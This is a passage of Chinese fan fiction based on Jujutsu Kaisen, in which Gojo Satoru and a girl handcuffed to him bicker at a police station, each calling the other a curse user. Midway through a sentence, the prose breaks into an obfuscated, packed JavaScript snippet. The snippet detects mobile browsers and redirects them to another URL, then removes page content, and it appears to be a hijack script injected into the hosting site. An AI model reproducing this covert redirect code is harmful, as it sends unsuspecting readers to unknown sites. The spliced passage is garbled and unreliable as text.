黑发少女一脸抗拒地看着他，转着脑袋向周围的普通人露出一点委屈来，还拽了下扣着手腕的手铐，眼睛可怜的垂下好像被人欺负了一样。 五条悟：“……” 他睁着眼睛指了下她，又指了下自己，“谁更变态啊，明明这里最邪恶的就是你啊！” “你就是。” “我不是！” 五条悟拉了拉手铐，诅咒师说出的话能有几句是真的，没有人比他更了解诅咒师。 “我也不想在这里和你动手啊，和我走一趟，不然你就完蛋了。” 黑发少女转头反拽着手铐，转过身毛茸茸的后脑勺对着他，张口就说：“他威胁我。” “要打我。” “我不跟他走就会完蛋。” “还抢我的奶茶，我刚买的，一口都有没喝。” 弱势的一方天然带着优势，手铐拉扯作响，她又说：“我不想死。” 哇，好大的委屈。 热心路人看不下去了，温柔安抚，“别担心，我已经报警了，有我们在他不会把你带走的。” “好噢，谢谢你。”黑发少女漆黑的眼睛弯弯笑着，漂亮的让人忍不住移开眼睛，又挪回来。 想利用舆论来让自己逃脱？ “没可能。” 五条悟信誓旦旦道，就算她会装可怜让别人同情又怎么样，邪恶的诅咒师又不是他。 警察来了他是这么想的。 警察让他们拿着衣服把手铐遮住，他也是这么想的。 坐在警视厅冰冷的板凳上，五条悟开始想他为什么跟着过来了。 两秒的时间他就得出了结论。 因为这个诅咒师太听话了。 见到警察就像老鼠遇到猫一样，无意识露出的些许乖张都消失的一干二净，脸上挂着乖巧惑人的笑容，人家说往东就不会往西的样子，正常的诅咒师对非术士都是漠然无视，更不用提还被非术士管教，以往这种情况会顺理成章的闹起来，普通人无法制止的时候，他出面将诅咒师打到不能爬起来。 都是她太怪了。 “唉……”白炽灯下，有些年纪的警察叹了口气，拿着本子低头问，“你们是因为什么吵架的？” 两双颜色不一样的大眼睛对着警察眨了又眨。 警察一滞。 “……不要以为这样我就能放过你们两个，闹出这样的动静知不知道给我们增添了多少工作啊，闹别扭？还是什么？现在的小情侣都这么大胆吗，还玩手铐，这是你们这个年纪应该玩的东西吗，别装可爱无辜，给我坐直了！” 渚星也：“小……” 五条悟：”情侣……” 两个人坐直转过头互相对视一眼，又同频扭头，同声拒绝，“不是。” “不过是诅咒师。” “咒术师而已。” 警察一脸平静，在纸上写上“疑似cosplay ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13854372|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱好者，沉迷角色扮演”。 “现在解释一下，为什么吵架？” 渚星也举手，乖乖回答。 “他要和我玩sm，我都说不要了。” “讨厌。” 她还补充一句自己的感想。 五条悟表情懵了下，他呲了呲牙，当即否认，“我没有，你骗人，诅咒师。” 渚星也：“我才不会随便骗人呢，咒术师，你就说，这东西是不是你的？” 她举起自己的手，这次主导的是她，白发少年被带地抬了抬手，在他的目光下，咒具缓缓散发着蓝色的咒力，像萤火虫的微光闪烁。 “是我的又怎么样……” 他话还没说完，警察看他的目光越来越凉。 五条悟停下来静默了许久，蓝色的眼瞳看着渚星也，目不转睛，他突然拉进距离，上前脸颊凑近，想要在这个人脸上寻找到心虚故意的痕迹。 没有。 黑发少女眼睫颤动，不躲不避。 故意的。 她绝对是故意这样做的，故意这样说，让他陷入麻烦，拖住他的脚步，目的是让自己有机会离开。 “没必要把他们牵扯进来。” 他眨眨眼，笑得笃定。 “我不是说了吗，你没有逃跑的机会了。” “……” 诸星也望着他的眼睛，心中思绪翻飞。 “不要以为你长得漂亮，顶着让人无法直视的光辉美貌就可以威胁我。” 渚星也慢吞吞地说完，扭头盯着警察。 “我要见我的家长，拒绝和他沟通，快把我们分开。” 黑发少女弯唇笑。 “不然我要咬人啦。” 警察：“……” 五条悟从她夸赞的那一句中回过神来，翘起腿，明显很不满：“你以为就你会咬人啊，我也会。” 他也盯着警察。 “不许把我们分开，不然我要咬你了。” “还有，我也要叫我的家长。” 警察：“……” 白发少年视线又回到渚星也的身上， “等杰来了，你再怎么说也于事无补，看你还怎么想逃离我，你个邪恶摇粒绒。” 渚星也抿唇。 果然，纸片人之所以是纸片人，就是因为隔着次元壁，这个世界上她确实喜欢他们，喜欢漫画中所出现的他们，如果说和这个世界有什么链接，那就是他们的存在让她能感觉到熟悉感。 但喜欢只是喜欢。 喜欢也可以不喜欢。 喜欢不是信任。 诸星也歪了下脑袋，如此近的距离下，她脑海里想的是能被弹幕称之为狂妄、没有自知之明的话。 在只有生和死的选择题中，如果她不能活下来…… 血液在流动，脑海中的叫声嘶哑， 她平静心想。 那就都去死吧。 黑发少女眼睫垂下，遮掩住所有的情绪。 骂人的话，她应该不会输。 “说不定呢，如果我真的跑了，那你会被气哭吗。” 渚星也轻轻说：“无糖白面馒头。” 尾音拖长，明眼人都能看出来的挑衅意味。 警察沉默，慢慢合上本子，语气不容置喙。 “把手铐解开。” 进来半个小时，吵架25分钟，生怕自己少说一句就输了一样，青少年现在都这么要强吗。 刺头。 ×2。